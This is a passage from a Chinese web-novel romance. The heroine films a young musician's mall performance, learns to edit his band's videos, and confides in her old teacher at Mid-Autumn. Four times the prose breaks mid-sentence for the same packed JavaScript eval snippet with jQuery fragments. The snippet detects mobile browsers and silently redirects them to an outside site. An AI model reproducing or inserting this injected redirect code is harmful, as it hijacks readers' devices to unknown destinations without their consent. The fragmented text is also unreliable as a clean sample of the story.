好在她不挑食,口感差一点也没关系,口味过得去,她就能全部吃光,不浪费一点。 刚将晚餐摆盘放好,罗姝收到了段胥阳的回复,先是一个臭屁小狗嘚瑟的表情,后面接着说:“我打算写个抒情歌,下次你再睡不着,就唱那首歌给你听。” 这可不是一个好的祝福,罗姝僵硬了半天不知如何回复,她可不想再有睡不着的时候。 正一脸思索着吞掉几根菜叶,她突然灵光一闪,终于想到了该如何转移话题。 罗姝抓起手机开始慢吞吞地敲字:“对了,上次说要跟你平摊加油费的,我应该付你多少合适啊?” 段胥阳又是秒回:“你吃饭了吗?” “正在吃。”罗姝低头看着自己面前这盘菜,竟然不知道和白菜炒白菜、包菜炒包菜比起来,哪个更糟糕。 她为了保持伙食水准特意搭便车跑回来,就是为了吃这些东西吗?段胥阳要是看到这盘菜,估计都说不出嫌弃学校食堂的话了。 “那你晚上有时间吗?我打算让你工偿。”段胥阳语气神秘,诱惑似的拉长语调:“一天就值回加油费,但你来了还会想来。” —— 傍晚,罗姝按照段胥阳发来的定位准时来到一家新开业的商场。由于刚开业没几天,各种开业大酬宾加上市民还有新鲜感,这里人头攒动,十分热闹。 繁华世界似乎离她十分遥远,罗姝小心避让行人,找了又找,才找到段胥阳的身影。 他正在跟一个西装革履的中年男士交谈,脚边放着一个大包,身后背着一把吉他,手上还拎着一个饭盒。 “我们给你安排的时间是晚上七点到八点半,后面还有别的歌手在等,千万不要超时。需要我们放伴奏的话记得提前把文件发给后台,他会配合你的。” 中年男人有些发福,笑起来显得憨厚可亲,他个子不高,踮着脚拍了拍段胥阳的肩膀,满脸欣慰与自豪:“后生可畏啊,以后当了大明星,我就跟宣传部推荐找你做代言人!” “谢谢董叔。”段胥阳咧着嘴阳光灿烂地笑起来:“我朋友来了,我先去找她交接一下工作,回头请你吃饭!” 随后他小跑过来,眼睛亮晶晶的:“罗姝!走,我们先去候场。” 说着,他把那个颜色粉嫩图案可爱的饭盒递给她:“给你吃小蛋糕,这可是我家阿姨的拿手绝活,轻易不做的,曹非馋了很久都没吃到,你真有口福。” “谢谢。”罗姝接过饭盒,整个人还一头雾水:“我们来这边做什么?” “路演。”段胥阳给罗姝指了一个方向,那里搭着一个不大的舞台,此刻正有一个女歌手在弹唱一首民谣,周围围着一圈听众,时而传来一声叫好。 段胥阳很喜欢这种演出氛围,脸上的笑容久久不曾消散:“这个地方是免费提供给小歌手的,话筒、音响还有其他的辅助工具都配备好了,加上人流量大,能吸粉,还吸引了不少歌手专程从外地赶过来。” 罗姝听得肃然起敬,看着这么多听众,还有来来往往的行人,她也跟着紧张起来:“那,我需要做什么?我不太懂这些,别给你帮倒忙。” “你帮我录像就行。”段胥阳甩着手里的大包,里面是一些摄影器械:“操作很简单的,一会儿我教你,今天录不好也没关系,我约了三天时间呢。” 所谓后台其实是一个很小的房间,藏在舞台旁一处室外楼梯下面,一进门率先看到的就是各种各样长长的接线,乱中有序地码在一起。 房间里有两个工作人员,一个人操作连接着音响的电脑,另一个人负责与接班的歌手对接表演事项。 段胥阳给她搬来一把塑料椅子,说:“我跟他们沟通一下,你先吃蛋糕,不然放坏了。” 罗姝依言打开饭盒,看到了那块镶嵌着蓝莓、草莓与阳光玫瑰的小蛋糕,夹心是橙色的,露出一点碎果粒,看样子是黄桃。 奶油的口感甜而不腻,意外的清爽,在嘴巴里融化开后,还能回味到一股浓浓的奶香。搭配着各类水果,不同的甜味融合在一起,相得益彰。 吃到这样的美味,罗姝才明白为什么人类要满足自己的口腹之欲。填鸭式的充饥只能保证自己活着,而一道可口的点心,却能让人幸福地活着。 她忽然有一点点开心。在一顿糟糕的晚饭过后,能收获一份精致又好吃的甜点,这怎么不叫治愈呢? 段胥阳跟工作人员沟通完毕,回到她身边,看她吃得连连点头的欢欣模样,也跟着露出一个笑容。 等她吃完那一小块蛋糕,他才说:“这个视频需要拍得长一点,从后台出发、到台上演唱、再到演出结束都要录下来。我带了支架,唱歌那部分可以定点录,不过最好还是有一些角度的变化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924052|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便剪辑。” 他拿出相机,将基础按键都教给罗姝,罗姝认真记下所有键位和他的需求,才问道:“这个视频是要发到网上吗?” 段胥阳自得的点点头:“对,我注册了逆时针乐队的账号,会定期发布成员的各种练习视频,这一期主角是我。” “咳咳……”他假意咳嗽两声,“账号注册还不到一个月,我们已经积攒了四千多名粉丝。” 罗姝非常捧场地哇了一声:“好厉害呀。” 他在认真经营自己的事业,实现自己的梦想。罗姝突然意识到这一点。 “我是说,”她浅笑着,补充道:“你知道自己想做什么,要做什么,该做什么,这很厉害。” “我也觉得,”段胥阳故作得意地仰起头:“我可是从娘胎里就进行音乐启蒙了。” “不过呢,大多数人都是一边长大一边摸索自己,一时迷茫不等于落人后,如果不知道自己该做什么……”段胥阳看了一眼时间,把相机放到罗姝手上,镜头对准自己:“那就从现在要做的事情做起,小助理,开工啦!” 小巧的相机画面自带一股复古气质,罗姝设定好相机数据,在工作人员的指引下,用镜头追随着他的身影,最后来到定点拍摄的位置。 那张年轻的、蓬勃的脸庞在镜头里更加精致,罗姝牢记他的话,生疏地变换方向,从各种角度记录下他的恣意潇洒。 段胥阳在音乐上是一个十分灵活的演唱者,他钟爱摇滚、R&B,也会学习不在他偏好里的各种热门网络歌曲、流行音乐,曲库很广。 甫一上台,他简单做了自我介绍,就用一首耳熟能详的广场舞神曲开场,伴奏是他自己remix的版本,比起原曲节奏更加轻快,顿时激起一片声浪应援。 听着那些喝彩,罗姝也忍不住感到高兴与自豪,手里的相机慢慢开始发烫,那股热意却顺着指尖在她血液里游荡,令她也感到热血起来。 段胥阳是一个很会互动的表演者,每首歌的间隙,他都会起一个话题与周围的群众交流,随后自然引入下一首歌曲,节奏张驰有度,丝毫不冷场,还给自己留足了时间喝水润嗓子。 罗姝觉得他去考一个主持人证,当专业的主持人也会大有所为。 将相机固定在支架上,罗姝就没别的事可做了。她的视线不知不觉从小小的屏幕移到真正的舞台上。 天色已经暗了下去,舞台上亮起灯光,有几道追光打在段胥阳身上,让他在这个世界脱颖而出。 舒缓的情歌在耳边流淌,他动人的声线勾人心弦,灯光追随着他的动作,一个停顿间,罗姝看见他拨弄吉他的手指上,有一层突兀的茧。 罗姝忍不住摩挲着自己手指的皮肤,想象不到要经历怎样的疼痛,才能形成这样的盔甲。 一首歌曲又到尾声,段胥阳的视线向她望来,俏皮地冲着她的方向wink了一下。 9. 暗恋第7天 商场的霓虹灯将室外照得姹紫嫣红,罗姝扛着相机和支架艰难走出了人群,最后一位歌手已经上场,正唱着一首经典老歌,朗朗上口的歌词和耳熟能详的旋律带动起一片合唱声。 没等她回到后台,段胥阳先背着吉他小跑着过来,先接过她手里的支架整理到背包里,然后说:“辛苦了,你晚上还喝饮料吗?我请你喝奶茶。” 罗姝看了他两秒,才噗嗤一声笑出来:“我不是来工偿的吗?怎么还又吃又喝的。” “还债归还债,还有粉丝福利啊。”段胥阳起身,环顾一圈,看到了自己想看到的招牌,才回头对罗姝说:“你刚吃完蛋糕没多久,要不喝粥吧,清淡一点。” “好。”罗姝说着,不动声色地瞥了他肚子一眼。 段胥阳也只是一个18岁的、还在长身体的半大小子,在舞台上蹦蹦跳跳了一个多小时,他肯定饿了,喝粥还顶饱。 粥店在商场三楼,罗姝只点了一小份白粥,段胥阳则点了大份的皮蛋瘦肉粥。 等粥上桌的时间,段胥阳拿出相机检查了一下素材,只跳着看了几个片段,就对着罗姝比大拇指:“角度找得真好,都不需要怎么后期制作,就已经很有氛围感了。” 罗姝不好意思地抿唇笑了下,好奇问道:“视频拍好以后,剪辑也是你们自己做吗?” “对啊,其实我们也不会剪辑,就是粗剪一下,加一些转场、花字,勉强够用。”说着,段胥阳头疼地揉着太阳穴:“不过要是赶上写歌,就得熬夜剪辑,也挺麻烦的。” 看他苦巴巴的样子,罗姝不期然想到了自己的暗恋计划。 暗恋的外在行为之一:为对方无声付出。 想到仅仅是一天没有执行暗恋计划就又开始做梦,罗姝深吸一口气,小声但认真地问了一句:“我可以帮你剪辑吗?” 话音刚落,她先害臊似的低下头:“其实我也不会,不过我可以学习一下,我的时间还是比较充足的。” 说完她又有些后悔,其实她应该先简单了解一下剪辑,再提出帮忙,显得稍微专业一些。 段胥阳的乐队是奔着正式出道在运营,怎么会放心把这么重要的工作交给一个纯新手呢? “当然可以啊。” 罗姝意外地抬头看他,一脸出乎意料:“可以吗?” “做视频后期需要耐心、细致,没那么简单。现在你愿意帮我分担这项工作,我举双手欢迎。” 段胥阳撑着脸,双眼微微弯曲,挺翘的睫毛在他眼下形成一小片阴影,整个人显得格外柔和:“乐队初期日常向的视频很容易上手,所有技能都有学习的过程嘛,你不用觉得不好意思。我倒是觉得——” 他拖长了音调,意有所指:“你有想法、敢争取,这就非常厉害,非常适合我…咳、我们乐队。” “好!我从今天晚上开始学!”罗姝像是被予以重任一样,严肃地坐直身体,她看着段胥阳的眼睛,一字一顿道:“我不会让你们失望的。” 段胥阳愣了一下,才笑道:“不用太认真,就像我们做乐队是主张‘玩’音乐一样,你也能‘玩’起来,享受那个过程就好。” “不过,也不能让你白干活,谈钱又显得有些俗气。”段胥阳故作思考状,抬手摩挲着自己的下巴:“这样吧,我看你挺喜欢我家的小蛋糕,以后每个星期我都给你送一份当报酬,怎么样?” —— “所以,你就这么简单被一块小蛋糕收买,心甘情愿做苦力了是吗?”镜头里的康雅琪正打量自己新做的美甲,时不时拿个小搓条搓一搓指甲边缘,她有些恨铁不成钢地瞪了罗姝一眼:“你得跟他拉扯起来啊,不能傻呆呆地只知道付出知道吗?” 罗姝把一段素材导进剪辑软件里,闻言迷茫地思考了一阵,才说:“其实我感觉,我也没付出什么。” 康雅琪被噎了一下。 你要这么说,仔细盘一盘,还真是没怎么付出过。 林莎被她的表情逗笑,捧着肚子在床上滚来滚去,一直到笑够了才说:“我觉得姝姝做得对,该主动就主动,总不能眼睁睁看着那三朵花上位再来后悔吧。” 白婵姗姗来迟,刚进群语音就听见林莎说这话,连忙出声附和:“我也觉得姝姝不比她们长得差,咱们赢面很大的。” 罗姝都快忘了三朵花是谁了,低头思考了一会儿才想起来,她表情认真地赞同道:“我也觉得我长得不差。” 毕竟她这副壳子将来可是要给女主使用的,除了芯子,都是女主配置。 芯子也不差啊。 罗姝对自己点点头。 “不过姝姝,段胥阳是不是太好说话了啊,你一点剪辑经验都没有,他都敢答应让你帮忙啊?”林莎左眉毛跳完右眉毛跳,故意摆出奇怪显眼的表情来调侃罗姝。 哪知罗姝压根没抬头看手机屏幕,正一心扎在电脑的剪辑软件里,刚正不阿地回答:“没有啊,他先让我试着剪辑一段看看,要是我喜欢这份工作,也能做得来,他就正式让我接手。我手里的素材都是副本,源文件还在他那里,就算我搞砸了也没事。” 罗姝抬起一张斗志昂扬的脸:“但我不会搞砸的!” 室友们纷纷无语凝噎,几秒后异口同声地敷衍:“加油。” 跟这死心眼孩子说不通。 “其实也挺好的,姝姝学会了剪辑,说不准以后我们也能做自媒体。” 其余几人都一脸震惊地看向说这话的白婵,罗姝更是倒吸一口凉气:“我们,做自媒体?” “干嘛那么惊讶啊,我们是学旅游的,只要从事旅游行业,就离不开宣传。”白婵抱着手给她们分析:“媒体是宣传工作的重要媒介,旅游业自媒体也是我们的就业方向之一啊。” 林莎率先做出回应:“我觉得你说得很有道理,但我还是想干导游。” 康雅琪也频频点头:“我觉得你说得很有道理,但我还是想去文旅单位坐办公室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924053|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 白婵只好把自认为恶狠狠的目光投放到罗姝身上。 罗姝也缓缓点着头:“我觉得你说得很有道理。” “没有后半句?” “没有。” 白婵满意了,她昂着下巴,恨不得用鼻孔看人:“那我说个后半句——自媒体很好,但我还是优先考虑脚踏实地的工作。” 屏幕内外的小女孩们顿时笑成一团,等笑声渐渐变小,罗姝才感慨了一句:“没想到,你们居然这么早就想好自己未来想做什么了。” “那可不一定。”康雅琪比划着手指摇了摇:“我们只是一帮没有经历过社会毒打的青瓜蛋子,只能嘴上拿一些世俗认知里的正经职业当目标,但不到最后一刻,没有人知道自己未来会怎么样。” “对啊,说不定最后发现我不适合干旅游,跑去转行了呢?”林莎说:“反正我人年轻,家里人也会托举我,我有试错的资本,不怕浪费时间。” 白婵笑骂:“真是不上班不知天高地厚,等我们毕业的时候,能有个班上就不错了。” 罗姝沉默着盯着电脑屏幕,久久不语。 又插科打诨了一阵,伴随着凌晨十二点钟前最后的读秒,四人大喊着“中秋快乐”对彼此送上祝福。 “开学了我给你们带我们当地的月饼,和市面上卖的月饼都不一样,都是我家里人自己做的。”林莎急匆匆摆摆手告别:“我都要困死了,先睡了,拜拜。” 林莎一走,白婵和康雅琪也很快挂断电话,热闹了一晚上的书房突然回归沉寂,令罗姝一时间感到有些落寞。 她打开剪辑教学视频,将音量放到最大,开始做笔记。 短视频有短视频的剪辑思路,长视频有长视频的剪辑思路,不同平台的观众对视频长度的接受度也不一样。 而要从长达几个小时的素材中剪辑出一小段有逻辑、有故事线的成品,要懂得长略得当、要学会舍弃、要体现风格、要做出花样。 罗姝越发认为这是一项带有挑战性的工作,这让她更有兴趣。 段胥阳给出的素材其实很简单,几个视频内容分别是:段胥阳得知商场提供舞台后与商场负责人联系约定场地、演出前的准备、正式演出和一段段胥阳回家后发来的演出小结。 素材之间本身存在逻辑,就已经算是降低了难度,非常适合新手练手。 罗姝已经全身心沉浸在剪辑的艺术里,等她将十分钟成片导出时,已经又过了两个小时。 但她却丝毫不觉得疲惫,反而觉得浑身都在热血沸腾。 她试播那段视频,看着原先碎片化的素材融合成一个整体,生动流畅地播放着,就连她照着教学视频生涩模仿的小动画也运行自如时,内心感受到了极大的满足。 这还是罗姝第一次感受到成就感。她只需要完成这项工作,不必跟周围的人比较完成度,也不用被人时时刻刻地督促,唯一的驱动力是她想要这么做,于是她做到了。 10. 暗恋第8天 中秋佳节,四处张灯结彩。晚上湖边有烟花秀,消息一经公布,就吸引了大片周边城市的居民前来,老城道路狭窄,从中午开始,整个城市的交通就已经瘫痪了,车笛声不绝于耳。 罗姝唯一的学生坨坨被接到长辈家里过节,她又得了一天假期,整个白天,罗姝都把自己关在书房里,一遍又一遍重新剪辑视频。 昨天晚上她已经初步熟悉了剪辑的基础操作,但她对第一版成品并不满意。 趁着放假,她搜索了逆时针乐队的账号,将他们之前上传的视频都看了几遍。 一个具有宣传作用的短视频,它应当是有温度、有情感、有表达的,罗姝站在观众的角度重新认识了段胥阳,这才带着对乐队的理解,开始重新关注起素材。 将任务心态放下,罗姝试图用粉丝视角重新剪辑一版。她努力贴近一个暗恋者的心态,去回忆每一次因段胥阳而感到触动的时刻,再将这种悸动转化在视频里,去渲染他的魅力。 数小时后,罗姝找出一瓶眼药水来润了润已经干涩的双眼,她擦干因酸痛而逼出的生理泪水,听着窗外的喧嚣不断,忍不住笑出声来。 把视频发给段胥阳,罗姝站起身伸了个懒腰,转身去厨房准备吃食。 彼时段胥阳还在进行今天的路演,今天他没能约到最好的时间段,在中午室外客流最低的时候路演,整个场面也有些惨淡。 但没有一首歌是白唱的,下台时,还有听众询问他有没有公众平台的社交账号,逆时针乐队又喜提一波涨粉。 段胥阳将粉丝数量怼在曹非脸上,整个人有些得意洋洋:“乐队没我可怎么办啊。” “要是没你,就不会有这个乐队。”曹非实话实说:“毕竟在你主张组乐队之前,两个师兄最大的梦想只不过是进同一家婚庆公司做现场配乐。” 说着,他挥开段胥阳的手,提醒道:“先别邀功了,罗姝给你发了微信,去看吧。” 段胥阳一秒收回手机,迅速点进了微信,看清内容后,他又冲着曹非招了招手:“正好,这是我让罗姝帮忙剪得视频,你也看看她剪得怎么样。” 总时长不超过十分钟的视频被分成好几段发送过来,与他们自己剪辑的视频不同的是,罗姝制作了一个六秒钟长的片头迅速介绍了乐队成员与定位,正片内容也花样繁多,搭配的花字更加生动可爱。 “怎么样?”视频播放完毕,段胥阳一脸期待地看向曹非。 曹非沉吟片刻,说:“我之前剪的那几个视频可以删掉吗?对比起来有些惨烈。” 段胥阳就跟听到自己被夸一样,嘴角一咧:“这就是全科第一名的含金量,虽然也是初学者,但是人家起步就在及格线上。” “她居然是初学者吗?”曹非十分意外:“不到一天时间就能学习到这种程度,究竟是罗姝天赋异禀还是学霸不需要睡觉啊?” “对啊,”段胥阳收起笑意,捏着手机的手有些发紧:“我跟她说回校之前剪出来就好,她怎么这么快就剪好了。” 想到罗姝之前就有凌晨睡不着的情况,他锤了下自己的掌心:“看来写新歌刻不容缓了。” 城里堵车严重,两人没有开车,各自扫了一辆共享单车,穿行在车水马龙里。 曹非走在前面,突然放大声音喊了一句:“那你再写几首儿歌呗,以后我小外甥女上了幼儿园,还能跟其他小朋友显摆,她从小听歌都是听独家定制的。” “你自己写!”段胥阳翻着白眼加快速度超过他:“别以为我听不出来,你就是想跟我炫耀你多了个小外甥女。” 曹非嘿嘿笑起来,清隽的脸上露出憨态,眼角眉梢洋溢着欣喜:“没办法,我外甥女就是可爱。” 轻柔的风将他们的声音传递到了远方,两人的背影越走越远,一直到下一个路口转弯后消失不见。 罗姝靠在客厅阳台的落地窗前,裹着一张小毯子,静静望着窗外发呆。 她家是老小区,住的多是些老人。团圆时节,倦鸟归巢,年轻人携家带口地回家过节,往往刚到小区门口,就被遛弯散步的老邻居们先迎上来一顿寒暄。 罗姝甚至在其中看到了上次买菜时见过的阿姨,对比起那天她略带刻薄的表情,这位阿姨对其他人满脸笑意,态度要真诚许多。 罗姝也见怪不怪,从她高考失利后,多得是想看她笑话的人,这个阿姨不是第一个,也不是最后一个。 在小区里生活了这么多年,罗姝对每个人都有一些浅薄的印象。但那些印象都停留在许久之前,到今天她才知道,原来有些人已经成家,有些人已经生子,在她埋头苦读的岁月里,所有人的人生都在向前走。 怎么唯独她的人生要停滞不前呢? 正胡思乱想间,段胥阳给她回了消息,是对她工作成果的高度肯定,罗姝刚要回一句道谢的话,手指却误触了两下,不小心点进了段胥阳的朋友圈。 段胥阳的朋友圈设置了仅三天可见,之前一直是没有内容的,现在突然跳出了几张照片,发布时间是今天凌晨。 照片的主人公是曹非,他正小心翼翼地抱着一个裹在襁褓里的小婴儿,看背景是在某家医院。 罗姝看到了随图发送的文字:这家伙当舅舅啦! 当舅舅?如果她没记错的话,曹非只有一个姐姐,就是小说女主曹恩悦。 她想要按下返回的手一顿,情不自禁地点开照片,将图片一点点放大。 刚出生的婴儿浑身粉嘟嘟的,像一只小耗子,小眼睛小嘴巴都紧紧闭着,罗姝左看右看也看不出什么来,便将注意力放到了照片右上角那只出镜了一角的蓝白条病号服上。 这个人会是她吗? 这个世界的女主角,也是未来要使用她身体的人。原来她的孩子是这个时间段出生的。 不知怎地,罗姝心里对这个本该全然陌生的人产生了一种诡异地亲切感。不提什么女主角女配角的区别,都是受剧情摆布的人罢了。 一个原本有着幸福生活的人,又怎么会因为一时的失败,而愿意彻底切割与亲人朋友们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924054|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的联系,完全变成另外一个人呢? 她给这条朋友圈点了个赞,又仔细看了看小朋友,才突然拧起眉心:“但是,曹恩悦……现在不是应该在国外吗?” 罗姝忍不住来回掐自己的手心,大脑飞速运转,试图回忆起原文中关于曹恩悦本体更多的描写。 小说里只写到她的丈夫是外籍华人,曹恩悦婚后就跟着丈夫定居在国外,两人结婚多年只有一个孩子。 这只是一个背景,作者一笔带过,没有着重强调她在国外那么多年有没有回国过。 刺痛感让罗姝保持清醒,她迅速整理好了逻辑:“小说里,曹恩悦离世后,小外甥女一直是跟着曹非生活的,孩子应该不是外国国籍,所以曹恩悦怀孕后专程回国生了孩子。这就说得通了,这就说得通了……” 手忙脚乱地返回聊天界面,段胥阳发来新消息,问她去不去湖边看烟花。 罗姝看了那条信息许久,心情一点点沮丧起来。才刚窥到女主角曹恩悦现在生活的一角,想到自己未来的命运,罗姝有些提不起兴致继续自己的炮灰剧情。 “我就不去了,人太多,我不太习惯。” 她将婉拒的话发送出去,没再看手机,躲回房间里开始背诵英语单词。 一页又一页冰冷的字母从罗姝脑海中经过,让她重新冷静了下来。 窗外悬挂着一颗圆润的月亮,泛着冷幽的色调,莹润地照耀着一方穹宇。 罗姝想到自己已经一整天没有出门,索性换上外衫,打算到小区旁边的公园溜达一圈。 这处公园周围有大大小小四五个小区,平时是广场舞爱好者的聚集地,今天人要更多些,男女老少都跟着节奏晃来晃去,把路边的小野狗都吸引了过来。 罗姝绕开广场,踏上阶梯,向更高处走去。 一路路灯明亮,一切喧嚣都被甩在了身后,罗姝找到了一个空着的露天石桌,随手擦了擦石凳上的灰尘坐下。 天空像是一张巨大的画纸,除了圆月,只零星点缀着几颗耳熟能详的星星。 罗姝努力仰头去看,妄图寻找被环境光遮掩了的小星星。 不知过了多久,身后传来一个温柔沉稳的声音在叫她的名字:“罗姝?” 罗姝扭头一看,来人是她初中地理老师,李娟老师。 “李老师。”罗姝有些局促地站起身:“您也来这赏月?” 李娟老师与几年前相比几乎毫无变化,她是一个非常亲和的老师,班里最调皮的学生都喜欢她。 罗姝那时最喜欢听她讲课,因为李娟老师总是“跑题”,往往正上着课,就会根据课本内容发散思维,分享起她上大学时,跟着调研大巴车四处考察地形地貌的生活趣事。 那是罗姝第一次感受到,天地有多广袤。 “是啊,今天天气这么好,不出来看看可惜了。”李娟含笑走近,用饱含关爱的眼神上下看了看罗姝,才感慨道:“你们都长大了,我记得你刚上初中的时候,才到我肩膀高,现在都高出我半颗头。” 11. 暗恋第9天 新老记忆纠缠的瞬间,人总会感叹时光匆匆。 罗姝走上前半搀着李娟老师的胳膊,将她引到那把干净的石凳前坐好,才重新擦了擦另一个石凳,说:“长个子是好事,说明我这三年里饭没白吃。” 李娟被她逗笑,频频点头:“你这话说的不错,年轻人嘛,就是要好好吃饭。” 她语气愈发温和下来,关切地问道:“读大学还习惯吗?老师同学好不好相处?” “挺好的,学校风景特别好,有一条河从我们学校中间穿过,里面种着荷花,养着天鹅、小鸭子,还有许多稀奇古怪的小鸟。听说偶尔在晚上还能看到小狐狸呢。” 罗姝娓娓而谈:“我们军训的时候,是按照学院列队的,把班级都打散了,所以我和自己班里的同学相处不太多,但是寝室的室友都很热情友善,帮了我不少忙。” “那就很好嘛。”李娟老师连忙说:“在大学里,接触最多的就是室友,只要室友好相处,别的都好说。” 她流露出些许欣慰:“看到你对自己的大学生活感到满意,我这个做老师的,便也放心了。我从前最担心你,我怕你像个拧紧了发条的机器人,不懂得享受自己的生活,现在我知道,是我多虑了。” 罗姝借着昏黄的路灯仔细端详李娟老师那爬着细碎皱纹的脸颊。她很喜欢李娟老师身上那种宁静的气质。 那是一种见过世界的淡然。 她突然产生了一点点的倾诉欲:“李老师,我最近一直在想一个问题。如果我的未来只剩下三年的时间,您说,我应该利用这三年做什么有意义的事情?” 李娟蹙了蹙眉头,脸上浮现出思考的神情,半晌,她用气音回应:“这是一个很难的问题。” “在我看来,‘意义’这个词,它是相对的。当你对另一个人产生了作用的同时,也诞生了意义。” “可人生只剩下三年的时间,为什么还要去考虑我能为旁人做些什么?顺着自己的内心,去过自己最想要过的生活,就足够了。” 罗姝似懂非懂地歪着头,眼神闪烁:“哪怕我什么都不做,每天闭门不出?” “只要你想。”李娟肯定地点着头,她语调忽然一转:“我猜,你真正想要问我的是:如何在有限的时间里实现你的个人价值。” 闻言,罗姝略显茫然地呆坐着,听她继续说下去。 “马斯洛需求理论里阐述了,人的需求最高级是自我实现,也许每个人都考虑过这个问题,我的理想是什么,我的天赋是什么,我该如何实现梦想。” “但我的答案是一样的,就是按照你的心意去做。不受任何外力的影响,完全发自你内心的那一件令你感到愉悦和自豪的事,那就是你的心之所向。” 罗姝沉默片刻,才说:“或许要找很久,才能找到自我。” “可当你产生探寻自我的想法时,就说明你有志气、有锐气、有勇气。”李娟笑意吟吟地看着她:“你这样年轻有力,很快就会找到目标。毕竟,只要走在正道上,无论向哪个方向走,都是你的路。” 罗姝内心压上了一块沉甸甸的石头,她滞涩地抬眼看向李娟:“李老师,您应该知道吧?其实我高考没考好。” “你这话说出来,跟你同一批次被你学校录取的那些同学们,可都要抗议了。”李娟探身握住罗姝低垂的手,拿到石桌上:“考试成绩的好与坏都是带着功利性的评判,抛开那些附加的价值不谈,高考是千军万马过独木桥,你能走过去,就已经很了不起了。” “当然,这些都是空话,对于求学而言,最终需要的,恰好是它附加值。可这个附加值,仅仅在你18岁这一年是有用的,过了那一天,过了这一年,你就会知道,高考那天也只是最寻常的一天,高考成绩也只是最普通的数字。” 李娟温热的掌心散发着源源不断的热意,一点点浸润着罗姝冰冷的手掌:“我听说你考试的时候,身体状况不太好,现在好了吗?” 心上那块石头又重重向下压了压,压到五脏六腑都感到艰难起来。 罗姝突然意识到,从最初到最后,她竟然没能从父母口中听到这一句关切的询问。 树影无风摇晃了几下,远处的灌木丛里悄然探出一大一小两个模糊的人影。 小的那个圆墩墩的,黑葡萄似的眼睛豁然发亮:“表哥!真的是姝姝姐姐!” “嘘——”段胥阳一把捂住小胖墩的嘴,做贼心虚地又往灌木丛里缩了缩,见没有引起旁人的注意,才低声说:“我们得小声一点,你姝姝姐姐在和长辈聊天呢,不能打扰他们。” 坨坨甩开他,自己用小胖手捂住自己的嘴,气音从他手指缝里泄露出来:“好,我知道了。但是表哥,”他稚嫩的脸上满是疑问:“你跟姝姝姐姐有仇吗?怎么每次都是这样躲起来看她呢?” “我哪有!”段胥阳故意板起脸:“小孩子家家不要乱说话。” “明明就有啊,之前姝姝姐姐在超市收银的时候,你也是这样躲在超市门口那颗树后面偷看她的。”坨坨不服气地叉着腰,小胖脸都憋红了,硬是数出来个数字:“我都看到过两次了!” 段胥阳伸出一根手指按住坨坨的脑门,给自己辩驳:“打工的时候遇到熟人最尴尬了,我是怕她不自在才躲起来的,你可别到处乱说败坏我的名声!” 坨坨却没理他,小小地惊呼一声:“姝姝姐姐怎么哭了?” “什么?!” 段胥阳蹭一下扭头看去,就见向来表情疏淡的女孩从眼底滑出两行泪,双眼里浸满了委屈,却还故作坚强地摇了摇头,维持着笑脸与对面的长辈说着什么。 距离很远,他能听到一些影影绰绰的声音,却听不清她们到底在聊些什么,只是对比起在他面前总是有些拘谨的罗姝,现在的罗姝似乎情绪更加鲜活一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924055|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 段胥阳再度转身回去挡住坨坨的眼睛,叮嘱他:“明天见到姝姝姐姐,不要告诉她我们看到她哭了这件事好不好?这是她的私事,我们要尊重别人的隐私。” “好!”坨坨在自己嘴巴上比划了一个拉拉链的动作,小胖手握拳,一脸正义凛然:“我嘴巴最严了!” 段胥阳还一本正经地跟坨坨拉了个勾,才蹑手蹑脚地退出去:“走,我先送你到舅妈那。” 把粘人的小屁孩甩给他的亲妈,段胥阳又马不停蹄地小跑回刚才的灌木丛,时间卡的刚刚好,罗姝更在和那位长辈道别,两人很快走向了不同的方向。 段胥阳又往高处走了走,将下方的景象尽收眼底,他反手摸出手机给罗姝拨了一通电话。 “喂?”女孩清甜的声音夹杂着行走间呼啸的风声,透过听筒传来,显得有些失真。 “哦,我突然想起来,我好像还没祝你中秋节快乐呢。节日快乐,罗姝。”段胥阳也没想好自己能聊什么,想到哪句说哪句。 “谢谢,也祝你中秋节快乐。”她正低着头走在回家的路上,此刻抬头看了一眼月光,接着问他:“今天的烟花秀好看吗?” 